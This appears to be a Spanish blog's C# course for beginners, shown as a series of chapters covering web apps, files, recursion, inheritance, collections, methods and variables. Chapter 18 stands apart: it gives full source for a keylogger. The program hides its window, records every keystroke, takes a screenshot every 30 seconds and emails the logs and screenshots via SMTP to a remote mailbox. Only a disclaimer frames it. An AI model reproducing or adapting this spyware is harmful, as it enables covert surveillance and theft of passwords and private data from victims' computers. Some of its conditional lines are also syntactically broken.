Pop

19.Aplicaciones web. Introducción.Curso de C# con Visual Studio 2017

 19- . Aplicaciones web. Introducción

  - En este capítulo del curso de programación en c# con visual studio 2017,vamos a empezar a ver lo que son las aplicaciones web. Para ello crearemos nuestra primera aplicación web en Visual Studio. Este tipo de aplicaciones suelen utilizar la arquitectura cliente/servidor.

 -  Esta arquitectura consiste básicamente en un cliente que realiza peticiones a otro programa (el servidor) que le da respuesta. Aunque esta idea se puede aplicar a programas que se ejecutan sobre una sola computadora es más ventajosa en un sistema operativo multiusuario distribuido a través de una red de computadoras. La interacción cliente-servidor es el soporte de la mayor parte de la comunicación por redes. 



- Una vez que sabemos la arquitectura sobre la que se basan las aplicaciones web vamos a crearnos un primer programa sencillo donde agregaremos el componente Label en el que mostraremos un texto en el navegador.


- En el video también vemos brevemente que cualquier sitio web hecho con visual studio debe tener asociado un archivo de configuración en que se pueden establecer propiedades de configuración cómunes para todo el site. Tenéis más informacion sobre los web.config en https://msdn.microsoft.com/es-es/library/ff400235(v=vs.100).aspx

18.Keylogger casero.Curso de C# con Visual Studio 2017.

 18- . Keylogger casero

  - En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva  aplicación de consola donde veremos como crear un keylogger casero.Este keylogger está hecho unicamente con fines didácticos.

-   Este será el último capítulo donde utilizaremos las aplicaciones de consola, en los siguentes empezaremos con las aplicaciones web, por eso quería mostraros como hacer algo más potente que lo visto hasta ahora. Quizás no entenderéis todo el código pero creo que la idea sobre lo que tiene que hacer el programa si os quedará clara.

- Para los que no sepáis lo que es un un  Keylogger os dejo la siguiente definición :

 “Un Keylogger es un pequeño programa diseñado para capturar todas las pulsaciones que son realizadas por un teclado, para guardarlas en un registro que puede verse luego en un ordenador local, o puede ser enviado con rapidez y seguridad a través de Internet a un equipo remoto

- En el ejemplo que muestro en el video además de capturar las pulsaciones de teclado, me he entretenido en capturar la pantalla cada treinta segundos.Además de esto he implementado un método para mandar por correo las capturas hechas.En el video explico el código:



 - Para entender el código del programa es necesario que sepáis como llamar a dlls del sistema.Os dejo un ejemplo sobre como indicarle al programa que queremos utilizar un método de la dll   user32.dll:

          [DllImport("user32.dll")]
          public static extern int GetAsyncKeyState(Int32 i);


- Para una información más detallada de como referenciar estos métodos de dll externas os dejo este enlace: https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/keywords/extern

-También es necesario conocerse el  código ASCII que utiliza 7 bits (2 elevado a 7 ) para representar los caracteres.Os dejo una tabla con los códigos ASCII:


Cada número representa una letra. Esta tabla de códigos Ascii es en lo que nos basamos para traducir cada pulsación que se corresponde con un número a su letra.


 - Os dejo el código de la aplicación, aunque antes me eximo de cualquier responsabilidad sobre el uso que le deis a este software:
  
  • Disclaimer: Utilizar un keylogger en equipos ajenos constituye un delito, lo que puede acarrear penas por la ley. Utilízalo solo para fines educativos y en computadoras propias. No me responsabilizo del mal uso que otras personas le puedan dar. 


class Program
{

   [DllImport("user32.dll")]
   public static extern int GetAsyncKeyState(Int32 i);
   [DllImport("user32.dll")]
   private extern static int ShowWindow(System.IntPtr hWnd, int nCmdShow);
   [DllImport("user32.dll")]
   private static extern short GetAsyncKeyState(Keys teclas);
   [DllImport("user32.dll")]
   private static extern short GetKeyState(Keys teclas);
   [DllImport("user32.dll")]
   private static extern short GetKeyState(Int32 teclas);

   DateTime lastRun = DateTime.Now.AddSeconds(-30);

    static void Main(string[] args)
   {

   ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
   guardarPulsacion();
   }

    static void guardarPulsacion()
   {

      DateTime ultimaEjecucion = DateTime.Now.AddSeconds(-1);
      while (true)
     {
         try
        {
            Thread.Sleep(50);
            for (Int32 i = 0; i < 255; i++)
            {
               int tecla = GetAsyncKeyState(i);
               if (tecla == 1 || tecla == -32767)
               {
                   StreamWriter sw = new StreamWriter(Application.StartupPath + @"\XXX.txt", true);

                   if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)) &&            Convert.ToBoolean(GetKeyState(Keys.D1)) sw.Write("|");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)) && Convert.ToBoolean(GetKeyState(Keys.D2)) sw.Write("@");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)) && Convert.ToBoolean(GetKeyState(Keys.D3)) sw.Write("#");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D4)))sw.Write("$");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D5)))sw.Write("%");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D6)))sw.Write("&");
                 else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D7)))sw.Write("(");
                else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D8)))sw.Write(")");
                else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D9)))sw.Write(")");
               else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D0)))sw.Write("=");
              else if (Keys.OemPeriod.Equals((Keys)i))sw.Write(".");
              else if (Keys.Back.Equals((Keys)i))sw.Write("");
              else if (Keys.Space.Equals((Keys)i))sw.Write(" ");
              else if (Keys.D0.Equals((Keys)i) || Keys.NumPad0.Equals((Keys)i))sw.Write("0");
              else if (Keys.D1.Equals((Keys)i) || Keys.NumPad1.Equals((Keys)i))sw.Write("1");
              else if (Keys.D2.Equals((Keys)i) || Keys.NumPad2.Equals((Keys)i))sw.Write("2");
              else if (Keys.D3.Equals((Keys)i) || Keys.NumPad3.Equals((Keys)i))sw.Write("3");
              else if (Keys.D4.Equals((Keys)i) || Keys.NumPad4.Equals((Keys)i))sw.Write("4");
              else if (Keys.D5.Equals((Keys)i) || Keys.NumPad5.Equals((Keys)i))sw.Write("5");
              else if (Keys.D6.Equals((Keys)i) || Keys.NumPad6.Equals((Keys)i))sw.Write("6");
              else if (Keys.D7.Equals((Keys)i) || Keys.NumPad7.Equals((Keys)i))sw.Write("7");
              else if (Keys.D8.Equals((Keys)i) || Keys.NumPad8.Equals((Keys)i))sw.Write("8");
              else if (Keys.D9.Equals((Keys)i) || Keys.NumPad9.Equals((Keys)i))sw.Write("9");
              else if (Keys.LButton.Equals((Keys)i) || Keys.MButton.Equals((Keys)i)) { }//no escribe
              else
             { //letras
                    if (i >= 65 && i <= 122)
                    {
                         if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&              Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                        sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
                        else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey))) //Mayuscula
                        sw.Write(Convert.ToChar(i).ToString());
                        else if (Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock)))//Mayuscula
                        sw.Write(Convert.ToChar(i).ToString());
                        else sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
                      }
              }
       sw.Close();
          }
      }
           if(DateTime.Now>ultimaEjecucion)
           {
             string fecha = DateTime.Now.ToString("h:mm:ss tt");
             string nombrefinal = fecha.Trim().Replace(":","_");
             pantallazo(nombrefinal);
             ultimaEjecucion = DateTime.Now.AddSeconds(30);
             //mandarPorFTP(nombrefinal);
             //mandarPorFTP("XXX.txt");
             EnviarEmail(Application.StartupPath + @"\"+nombrefinal, Application.StartupPath +   @"\XXX.txt");
              new FileInfo(nombrefinal).Delete();
            }
    }
    catch (Exception ex) { }
  }
}

    static void pantallazo(string nombre)
    {
       int ancho = Screen.GetBounds(new Point(0, 0)).Width;
      int alto = Screen.GetBounds(new Point(0, 0)).Height;

     Bitmap p = new Bitmap(ancho, alto);
     Graphics grafico = Graphics.FromImage((Image)p);
     grafico.CopyFromScreen(0, 0, 0, 0, new Size(ancho, alto));
     p.Save(nombre, ImageFormat.Jpeg);
   }

    static bool EnviarEmail(string adjunto1,string adjunto2)
    {
    MailMessage msg = new MailMessage();
    msg.To.Add("alguncorreo@gmail.com");
    msg.From = new MailAddress("alguncorreo@hotmail.com", "XXX",   System.Text.Encoding.UTF8);
     msg.Subject = "KeyLogger";
     msg.SubjectEncoding = System.Text.Encoding.UTF8;
     Attachment item = new Attachment(adjunto1);
     Attachment item2 = new Attachment(adjunto2);
     msg.Attachments.Add(item);
     msg.Attachments.Add(item2);
     msg.BodyEncoding = System.Text.Encoding.UTF8;
     SmtpClient client = new SmtpClient();
     client.UseDefaultCredentials=false;
     client.Credentials = new System.Net.NetworkCredential("alguncorreo@hotmail.com", "PASS");
     client.Port = 587;
     client.Host = "smtp.live.com";
     client.EnableSsl = true; //SSL
      try
     {
       client.Send(msg);
      }

      catch (Exception ex)
       {
       return false;
       }

         return true;
    }

}  

17.Ficheros.Curso de C# con Visual Studio 2017.

 17- . Leer escribir ficheros

- En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva  aplicación de consola donde veremos como leer,escribir y borrar ficheros.

- Para ello utilizararemos la clase File (perteneciente al using System.IO )que proporciona métodos estáticos para crear, copiar, eliminar, mover y abrir archivos.También utilizamos las clases StreamWriter para  añadir contenido al crear el fichero y la clase StreamReader para poder leer el contenido de un fichero:




 Os pongo el código del ejemplo:

        static void Main(string[] args)
        {

             //CREAR BORRAR FICHERO
             File.Create("D:\\Prueba.txt");
             File.Delete("D:\\Prueba2.txt");


             //USO StreamWriter
            StreamWriter sw = new StreamWriter("D:\\Prueba2.txt",true);
            for (int i = 0; i < 100; i++)
                sw.WriteLine("Linea:" + i.ToString());
            sw.Close();
            sw.Dispose();

           //USO StreamReader
           StreamReader sr = new StreamReader("D:\\Prueba2.txt");
            while (sr.Peek() >= 0)
            {
                Console.WriteLine(sr.ReadLine());
            }
            sr.Close();
            sr.Dispose();
            Console.ReadLine();

        }    



 Os dejo unos enlaces para completar la información de lo ya visto en el video:
  1. Documentación más completa de la clase File en: https://msdn.microsoft.com/es-es/library/system.io.file(v=vs.110).aspx
  2. Más datos sobre la clase StreamWriter en :https://msdn.microsoft.com/es-es/library/system.io.streamwriter(v=vs.110).aspx
  3.  Más datos sobre la clase StreamReader en: https://msdn.microsoft.com/es-es/library/system.io.streamreader(v=vs.110).aspx

16.Recursividad.Curso de C# con Visual Studio 2017.

 16- . Recursividad

- En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva clase en la aplicación de consola donde veremos los primerso conceptos sobre recursividad.

-La recursividad no es una estructura de datos, sino que es una técnica de programación que nos permite que un bloque de instrucciones se ejecute n veces. Remplaza en ocasiones a estructuras iterativas. En el video de hoy añadimos una nueva clase donde mostraremos un ejemplo de recursividad.
- Calcularemos de manera recursiva el factorial de un número. Por ejemplo el factorial de 5 es igual a multiplicar 5*4*3*2*1=120. En el video muestro el ejemplo.


- En programación web se suele utilizar bastante para  recorrer estrucuturas de tipo arbol. El componenente denominado TreeView.

- Os dejo el código recursivo que calcula el factorial de un número. Al principio cuesta de entender pero con la practica se acaba comprendiendo:

    class Factorial
    {

        public int calculoFactorial(int fact)
        {
            if (fact > 0)
            {
                int valor = fact * calculoFactorial(fact -1);
                return valor;
            }
            else { return 1; }
        }
    }

15.Herencia.Curso de C# con Visual Studio 2017.

 15- . Herencia

- En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva aplicación de consola donde veremos los primerso conceptos sobre herencia.

-La herencia se utiliza para reutilizar la funcionalidad de una clase existente y se puede extender al crear una nueva clase que se deriva de ella. La clase derivada hereda las propiedades de la clase base y es posible agregar o reemplazar métodos y propiedades según sea necesario .Como veís en la imagen las clases Hijo3 e Hijo1 heredan de Padre por lo tanto puede utilizar metodos y propiedades de la clase Padre que esten definidas como public o protected, a su vez Nieto hereda de Hijo1 por lo tanto también hereda de Padre:

-

 - La sintaxis para inidicar la herencia es la siguiente→ Hijo1:Padre. Le estamos indicando que la clase Hijo1 hereda de Padre.

 - En el video también os muestro como las clase hijo pueden tener acceso a objetos y miembros de la clase padre.


* Más información sobre herencia aqui.

14.Foreach.Curso de C# con Visual Studio 2017.

 14- . Foreach

- En este capítulo del curso de programación en c# con visual studio 2017, nos crearemos una nueva aplicación de consola donde mostraremos el uso del bucle foreach. Para mostrar la utilidad de este tipo de bucle, la aplicación calculará los números primos  que existen entre 0 y un valor que el usuario introduzca por pantalla (un número primo es aquel número que solo es divisible por si mismo y por la unidad).

- La instrucción foreach se usa para recorrer  colecciones (arraylist,listas,arrays... ) para obtener la
información que tienen los objetos de estas listas. Es idónea para recorrer este tipo de objetos si no sabemos el número de elementos que tienen.Pero no puede usarse para agregar o quitar elementos de la colección de origen para evitar efectos secundarios imprevisibles.


- En el video también os muestro el uso de un nuevo operador. Me refiero al %. El operador % calcula el resto después de dividir el primer operando por el segundo. Por ejemplo, el resultado de dividir 7 entre 5 es 1 pero el resto es 2, el operador % nos daría el valor 2 (7%5 = 2).

 - Os dejo el código de la aplicación explicada en el capítulo 14 del curso:

 class Program
    {

        //Un número primo es aquel número que solo es divisible por si mismo y por la unidad.
        //Por convención se asume que el número 1 es también primo.
        //Los 100000 primeros números primos los podéis Aqui
        //2 3   5   7   11   13   17   19   23   29   31   37   41   43   47   53   59   61   67   71 73  79  83  89

        static void Main(string[] args)
        {
            int numero = -1;
            ArrayList almacenNumeroPrimos = new ArrayList();
            String mostrarPantalla = String.Empty;
            Console.WriteLine("Obtenemos todos los números primos entre 0 y....");
            Console.WriteLine("Dime el número");
            numero = Convert.ToInt32(Console.ReadLine());

            Console.WriteLine("Los números primos que hay hasta el numero " + numero.ToString()+ " son:");
            for (int i = 2; i <= numero; i++)
                if (esNumeroPrimo(i))
                    almacenNumeroPrimos.Add(i);

            foreach (int numPrimo in almacenNumeroPrimos)
                mostrarPantalla += " " + numPrimo.ToString();

            Console.WriteLine(mostrarPantalla);
            Console.ReadLine();
        }


        public static Boolean esNumeroPrimo(int numero)
        {
            Boolean esPrimo = true;
            int contador = 2;

            while ((esPrimo) && (contador!=numero))
            {
                if (numero % contador == 0)
                    esPrimo = false;

                contador++;
            }

            return esPrimo;
        }
 }

- Si queréis completar la información os dejo un par de enlaces con más datos:

Foreach: https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/keywords/foreach-in
Operadores en c#:  https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/operators/



13.ArrayList.Curso de C# con Visual Studio 2017

 13- . ArrayList

- En este capítulo del curso de programación en c# con visual studio 2017, añadiremos a nuestra aplicación de menú creada en entradas anteriores del blog, una nueva clase donde aprenderemos a usar una nueva estructura de datos. En esta nueva clase  aprenderemos a utilizar los ArrayList.Un ejemplo de instaciar un objeto de tipo ArrayList es el siguiente:

ArrayList arraylist =new ArrayList();

- Un ArrayList es una versión más sofisticada de una matriz. La clase ArrayList proporciona algunas de las características que se ofrecen en la mayoría de las clases del namespace System.Collections pero que no están en la clase Array . Por ejemplo:


  1. La capacidad de Array es fija, mientras que la capacidad de ArrayList  se amplía automáticamente si es necesario mediante la propiedad Capacity
  2. La clase  ArrayList  proporciona métodos para agregar, insertar o quitar un intervalo de elementos.


- En la mayoría de las situaciones en las que se requiere una matriz, se puede utilizar en su lugar un objeto ArrayList que es más fácil de utilizar y, por lo general, presenta un rendimiento similar al de una matriz del mismo tipo.

-Os dejo el código de esta nueva clase que hemos visto en el video:

 class EjemploArraylist
    {

        ArrayList arraylist;
        public EjemploArraylist(List<int> lista)
        {
            arraylist = new ArrayList(lista);
        }


         public int[] dameArray()
        {
          
            return (int[]) arraylist.ToArray(typeof (int));
        }


        public int dameElemento(int pos)
        {
            return (int) arraylist[pos];
        }

        public void borrarElemento(int posicion)
        {
            arraylist.Remove(posicion);
        }

    }

 - Tenéis una información más detallada de la clase Arraylist, con sus métodos y propiedades en el siguiente enlacehttps://msdn.microsoft.com/es-es/library/system.collections.arraylist(v=vs.110).aspx:

12. Listas y propiedades.Curso de C# con Visual Studio 2017.

12- . Listas y propiedades

- En este capítulo del curso de programación en c# con visual studio 2017, añadiremos a nuestra aplicación de menú creada en entradas anteriores del blog, una nueva clase donde aprenderemos a usar una nueva estructura de datos. En esta nueva clase  aprenderemos a utilizar las listas.

- Las listas proporcionan un método más flexible para trabajar con grupos de objetos que los arrays o las matrices. A diferencia de las matrices, el grupo de objetos con el que trabaja puede aumentar y reducirse dinámicamente a medida que cambian las necesidades de la aplicación. Un ejemplo de instaciar un objeto de tipo List es el siguiente:

    List<int> lista =  new List<int>();

- En el video tambíen os muestro como se utilizan las propiedades.Definir propiedades sirve para proporcionar un acceso controlado a los detalles internos de una clase desde fuera de esa clase.


- Una propiedad puede ser de sólo lectura, de sólo escritura o de lectura y escritura. Los descriptores de acceso get y set proporcionan acceso de lectura y de escritura, respectivamente.Un ejemplo de definición de propiedad es el siguiente:

    public int TamLista { get => tamLista; set => tamLista = value; }

- Aunque es conveniente que practiquéis escribiendo vosotros mismo el código es dejo la clase Listas:

 class Listas
 {

        private List<int> lista;
        int tamLista = -1;
        public int TamLista { get => tamLista; set => tamLista = value; }
        public List<int> Lista { get => lista; set => lista = value; }


        public Listas()
        {
            Lista = new List<int>();
        }


        public void llenarLista(int tam)
        {
            for (int i = 0; i < tam; i++)
                Lista.Add(i);
            tamLista = tam;

        }


        public int dameElementoLista(int pos)
        {
            return Lista[pos];
        }


        public Boolean borrarElemento(int posicion)
        {
           Boolean elementoBorradoCorrectamente = false;
            if (posicion < Lista.Count)
            {
                Lista.Remove(posicion);
                elementoBorradoCorrectamente = true;
            }
            return elementoBorradoCorrectamente;
        }
    }


-  Para completar la información como en anteriores capítulos de este curso de c# os dejo unos enlaces a la MSDN:

     Listas: https://msdn.microsoft.com/es-es/library/ybcx56wz(v=vs.110).aspxhttps://msdn.microsoft.com/es-es/library/ybcx56wz(v=vs.110).aspx

    Propiedades: https://support.microsoft.com/es-es/help/308229/how-to-define-and-use-properties-in-visual-chttps://support.microsoft.com/es-es/help/308229/how-to-define-and-use-properties-in-visual-c


11.Matrices.Curso de C# con Visual Studio 2017

11- . Matrices

- En este capítulo del curso de programación en c# con visual studio 2017, añadiremos a nuestra aplicación de menú creada en entradas anteriores del blog, una nueva clase donde aprenderemos a usar una nueva estructura de datos.

- Me refiero a las matrices multidimensionales.Es similar a un array pero en vez de con una dimensión con varias dimensiones. Una característica de las  matrices es que pueden almacenar varias variables del mismo tipo en una estructura de datos.En el lenguaje c# se pueden declarar de varias maneras:


      private string[,] mat; //Se cargaría más adelante
     int[] puntuacion = new int[] { 97, 92, 81, 60 }; 



-  La propiedad más importante de las matrices que distingue esta estructura de otras que permiten almacenar colecciones de objetos es que el número de dimensiones y la longitud de cada dimensión se establecen al crear la instancia de matriz. No se pueden cambiar estos valores durante la vigencia de la instancia.

 - Como acostumbro también os dejo unos enlaces a la documentación de Microsoft donde completar la información de este curso de c# con información actualizada:

    Matriceshttps://docs.microsoft.com/es-es/dotnet/csharp/programming-guide/arrays/
    Secuencias de escape en cadenas: https://msdn.microsoft.com/es-es/library/h21280bw(v=vs.140).aspx

 * También os dejo el código en c# de la clase matriz explicada en este capítulo .Sin embargo creo que es mejor que lo escribierais vosotros mismos mientras veis el video.

     class Matrices
    {
        private string[,] mat;

        public Matrices(int filas, int columnas)
        {
            mat = new string[filas, columnas];
        }

        public void cargarMatriz()
        {
            for (int f = 0; f < mat.GetLength(0); f++)
                for (int c = 0; c < mat.GetLength(1); c++)
                    mat[f, c] = "Fila " + f.ToString() + " Columna " + c.ToString();
        }

        public string dameElementoMatriz(int fila, int columna)
        {
            string valor = "Elemento no encontrado.Esta posicion no pertenece a la matriz: " + fila.ToString() + ", " + columna.ToString();
            if (fila < mat.GetLength(0) && columna < mat.GetLength(1))
                valor = mat[fila, columna];

            return valor;
        }

        public string dibujar()
        {

            string matrizTexto = String.Empty;

            int cont = 10;
            for (int f = 0; f < mat.GetLength(0); f++)
            {
                matrizTexto += "\n";
                for (int c = 0; c < mat.GetLength(1); c++)
                {
                    mat[f, c] = cont.ToString();
                    matrizTexto += " " + mat[f, c].ToString();
                    cont++;
                }
            }
               
            return matrizTexto;
        }

       
    }

10.Vectores o arrays.Curso de C# con Visual Studio 2017.

10- . Vectores o arrays

- En este capítulo del curso añadiremos a nuestra aplicación de menú creada en entradas anteriores del blog una nueva clase donde aprenderemos a usar una nueva estructura de datos.

- Estoy hablando de los vectores, también llamadados arrays o matrices unidemensionales. Un vector es una estructura de datos que permite almacenar un conjunto de datos del mismo tipo.La sintaxis para crear un objeto de tipo vector de enteros es la siguiente:


int[] vectorNumeros = new int[8]; //Podemos almacenar hasta 8 elementos de tipo entero


- En el capítulo también seguimos practicando el uso de las clases,métodos y de los bucles añadiendo una opción nueva al menú:


- Además muestro como controlar un errror bastante común cuando se trabaja con este tipo de objetos, como es que se busque en una posición que no se encuentra en el vector.Esto ocurre por ejemplo si tenemos un array de ocho elementos y buscamos la posición 9.

- Como acostumbro también os dejo un enlace a la documentación de microsoft donde completar la información: https://docs.microsoft.com/es-es/dotnet/csharp/programming-guide/arrays/single-dimensional-arrays

9.Menú en aplicación de consola.Curso de C# con Visual Studio 2017.

9- . Menú en aplicación de consola

- En este capítulo del curso crearemos un menú en una aplicación de consola.El objetivo es afianzar los conceptos vistos en las entradas del blog anteriores.Nos crearemos una aplicación con este menú:


- Cada opción del menú lo implementaremos en una clase con sus respectivos métodos que serán llamados desde la clase principal del programa.También introduciremos algunos conceptos nuevos como la instrucción switch y el uso de la palabra clave this.



- La instrucción switch se utiliza para agilizar la toma de decisiones múltiples; trabaja de la misma manera que lo harían sucesivos if, if else  anidados.Tenéis una información más completa de esta instrución en este enlace: https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/keywords/switch

 -La palabra reservada this hace referencia a la instancia actual de la clase, también os dejo un enlace a la documentacion de Microsoft: https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/keywords/this

- Para afianzar los conceptos es necesario que vosotros mismos practiquéis lo visto en los videos.En el siguente video veremos  los vectores, también llamados Arrays.



8. Clases y objetos.Curso de C# con Visual Studio 2017.

8- .Clases y objetos

- En este capítulo del curso mostraré lo que son las clases y los objetos.Para ello nos llevamos a una clase los métodos que creamos en el capítulo anterior en el que que calculabamos la serie de Fibonacci.Pero antes vamos a explicar un poco más conceptos relaccionados con las clases:

  1.  Una clase permite crear tus propios tipos personalizados agrupando las variables de otros tipos, métodos y eventos.
  2.  Las clases se definen mediante la palabra clave class.
  3.  La palabra clave class va precedida del nivel de acceso, que puede ser public(cualquier usuario puede crear objetos de esta clase),protected (accesible dentro de su clase y por parte de instancias de clase derivadas, que es la herencia que veremos más adelante) o private (solamente el código de la misma clase o estructura puede acceder al tipo)
  4.  Cada vez que se crea una clase o struct, se llama a su constructor. Una clase o struct puede tener varios constructores que toman argumentos.
  5. Ejemplo definición de clase:
             public class Cliente{
               // Campos,propiedades, métodos y eventos
            }


 -  Aunque a veces se usan indistintamente, una clase y un objeto son cosas diferentes. Una clase define un tipo de objeto, pero no es un objeto en sí. Un objeto es una entidad concreta basada en una clase y, a veces, se conoce como una instancia de una clase. Ejemplo creación de objeto:

     Fibonacci fib = new Fibonacci(); 

 * Para completar la información os dejo unos enlaces a la guia oficial de Microsoft:

        Clases: https://docs.microsoft.com/es-es/dotnet/csharp/programming-guide/classes-and-structs/classes
        Constructor:https://docs.microsoft.com/es-es/dotnet/csharp/programming-guide/classes-and-structs/constructors
        Modificadores de acceso:https://docs.microsoft.com/es-es/dotnet/csharp/programming-guide/classes-and-structs/access-modifiers
    

    - En el siguiente video os mostraré como hacer un menú en una aplicación de consola para potenciar y practicar el uso de las clases y los métodos.

7.Los Métodos.Curso de C# con Visual Studio 2017.

7- . Los Métodos

- En este capítulo del curso mostraré lo que son los métodos.Para ello estructuraremos el ejemplo del episodio anterior. Pero antes de ver el video debéis saber lo que es un método.Os pongo una definición y os dejo un video con la explicación:


     "Los métodos se declaran en una clase o estructura especificando el nivel de acceso, el valor devuelto, el nombre del método y los parámetros de método. Los parámetros de método se incluyen entre paréntesis y separados por comas. Los paréntesis vacíos indican que el método no requiere ningún parámetro."

.

- También os dejo un enlace a una página de Microsoft con más información https://docs.microsoft.com/es-es/dotnet/csharp/programming-guide/classes-and-structs/methods y en esta ocasión os pongo el código del ejemplo:


       //Método principal inicio de la ejecución

        static void Main(string[] args)
       {

           //Serie Fibonacci: 0 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89....
            Console.WriteLine("Introduzca valor hasta el que calcular la serie");

            string valor = Console.ReadLine();
            int numero = -1;
            numero = validarNumero(valor);
            int a = 0;
            int b = 1;

            string mostrarPantalla = String.Empty;
            mostrarPantalla = "0";
            mostrarPantalla += calcular(a,b,numero);
            Console.WriteLine(mostrarPantalla);
            Console.ReadLine();

        }


        //Métodos auxiliar para validar número
        private static int validarNumero(string valor)
        {


            int numero = -1;
            try
            {

                numero = Convert.ToInt32(valor);
            }
            catch (Exception)
            {

                Console.WriteLine("Debe introducir un numero.");
                Console.ReadLine();

            }

            return numero;
        }


        //Métodos auxiliar para calcular número
        private static string calcular(int a,int b,int numero)
       {


            string mostrar =String.Empty;
            int resultado = 0;
            while (resultado <= numero)
            {
                resultado = a + b;
                a = b;
                b = resultado;
                mostrar += " " + resultado;

            }

           return mostrar;

        }

6.Serie Fibonacci.Curso de C# con Visual Studio 2017.

6 - . Ejemplo.Serie Fibonacci

- En este capítulo del curso mostraré un ejemplo típico. Se trata de implementar la serie de Fibonacci. En matemática, la sucesión de Fibonacci es la siguiente sucesión infinita de números naturales:

  0 , 1 , 1 , 2 , 3 , 5 , 8 , 13 , 21 , 34 , 55 .....

- La sucesión comienza con los números 0 y 1,2? y a partir de estos, «cada término es la suma de los dos anteriores», es la relación de recurrencia que la define. Os dejo un enlace a la wikipedia con todos los detalles de esta serie: https://es.wikipedia.org/wiki/Sucesi%C3%B3n_de_Fibonacci

- Para empezar la implementación es necesario crear un diagrama de flujo donde definamos que queremos que haga el programa.En este caso podría ser algo similiar a esto:

Una vez definido el flujo que tendrá la aplicación empezamos a escribir el código.Aqui os dejo el video con la explicación:


5.Operadores lógicos, sentencias anidadas y errores.Curso de C# con Visual Studio 2017

 5 - . Operadores lógicos, sentencias anidadas y errores

 - En este capítulo del curso mostraré varios ejemplos sobre el uso de los diferentes operadores lógicos, como por ejemplo los operadores lógicos && y ||. Existen multitud de operadores lógicos y matemáticos.Podéis chequear una información más completa en este enlace: https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/operators/


 -  En el capítulo también podéis ver el uso de las sentencias anidadas usando las instrucciones if,if-else y for vistas en epísodios anteriores.Podéis completar la información de las sentencias anidadas en la MSDN: https://msdn.microsoft.com/es-es/library/5011f09h(v=vs.80).aspx

-  En el capítulo también os dejo una breve introdución al manejo de las excepciones en c#. El manejo de los errores se suelen hacer con los bloques try catch:

        try
       {
         //Codigo a ejecutar
        }
        catch (Exception e)
        {
           //operación a realizar en caso de error
        }
        finally
        {

        //código que siempre se ejecuta
        }

- Tenéis una información más completa del uso de las excepciones en la siguiente página: https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/keywords/try-catch

4. Los bucles.Curso de C# con Visual Studio 2017

4 . Los bucles

- En este capítulo del curso mostraré varios ejemplos sobre algunas estructuras iterativas que nos permiten efectuar operaciones n veces de forma consecutiva.Los bucles. En el video muestro con ejemplos sencillos el funcionamietos de estos tres bucles:

  1. Bucle while : En primer lugar se evalua la condición, si la misma resulta verdadera se ejecutan las operaciones que se encuentren dentro del bloque de código que se encuentre entre las dos llaves mientras la condición sea cumpla:

        While( condicion a evaluar)
        {
         //Código a ejecutar
        }

3.Sentencia if y operadores lógicos.Curso de C# con Visual Studio 2017.

3 . Sentencia if y operadores lógicos

- En este capítulo del curso mostraremos un ejemplo sobre como usar las sentencia if, asi como una breve introducción a los operadores lógicos y una pequeña explicación del objeto Console del framework de .NET.


Además de lo explicado en el video es dejo unos enlaces para completar información:

- Sentencia if :https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/keywords/if-else

- Más documentación del objeto Console: https://msdn.microsoft.com/es-es/library/system.console(v=vs.100).aspx

- Información complementaria de los operadores lógicos:https://docs.microsoft.com/es-es/dotnet/csharp/language-reference/operators/

2.Variables,errores y breakpoints.Curso de C# en Visual Studio 2017.

 2 - . Variables,errores y breakpoints

  - En este capítulo del curso mostraremos lo que son las variables. Una variable es  un depósito donde hay un valor. Consta de un nombre y pertenece a un tipo. Debemos elegir nombres de variables representativas.



  - Una variable representa un valor numérico o de cadena o un objeto de una clase. El valor que la variable almacena puede cambiar, pero el nombre sigue siendo el mismo. Tipos básicos de variables:

Nombre Clase TipoAnchoIntervalo
byteByte    Entero sin signo 8  0 a 255
sbyteSByte     Entero con signo  8 -128 a 127
intInt32    Entero con signo32-2.147.483.648 a 2.147.483.647
uintUInt32    Entero sin signo320 a 4294967295
shortInt16     Entero con signo16-32.768 a 32.767
ushortUInt16    Entero sin signo160 a 65535
longInt64    Entero con signo64-922337203685477508 a 922337203685477507
ulongUInt64    Entero sin signo640 a 18446744073709551615
floatSingle    Punto flotante 32-3,402823e38 a 3,402823e38
doubleDouble    P.Flotante doble64-1,79769313486232e308 a 1,79769313486232e308
charChar     Un carácter Unicode16Símbolos Unicode utilizados en el texto
boolBoolean     Tipo  lógico8True o false
objectObject   Objecto padre

stringString  Secuencia caracteres

decimal     Decimal   Tipo  fraccionario  128±1.0 × 10e−28 a ±7.9 × 10e28

